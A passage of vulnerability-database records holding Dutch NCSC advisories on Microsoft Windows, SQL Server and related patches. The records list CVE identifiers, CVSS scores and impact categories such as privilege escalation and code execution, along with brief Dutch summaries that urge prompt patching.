CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:01.688616Z"}, {"uuid": "9338621f-c40e-434b-ae28-d418215caa21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54118", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0232", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse componenten van SQL Server. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich verhoogde rechten toe te kennen, willekeurige code uit te voeren en/of toegang te krijgen tot gevoelige gegevens.\n\n```\nSQL Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47296 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54117 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54118 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55002 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-47295 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50468 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54116 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Fabric Data Warehouse: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56642 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nPower BI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58647 | 8.00 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-15T01:00:56.718528Z"}, {"uuid": "de7699c1-40d4-4ddb-ae0e-90160da1b5ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54112", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| 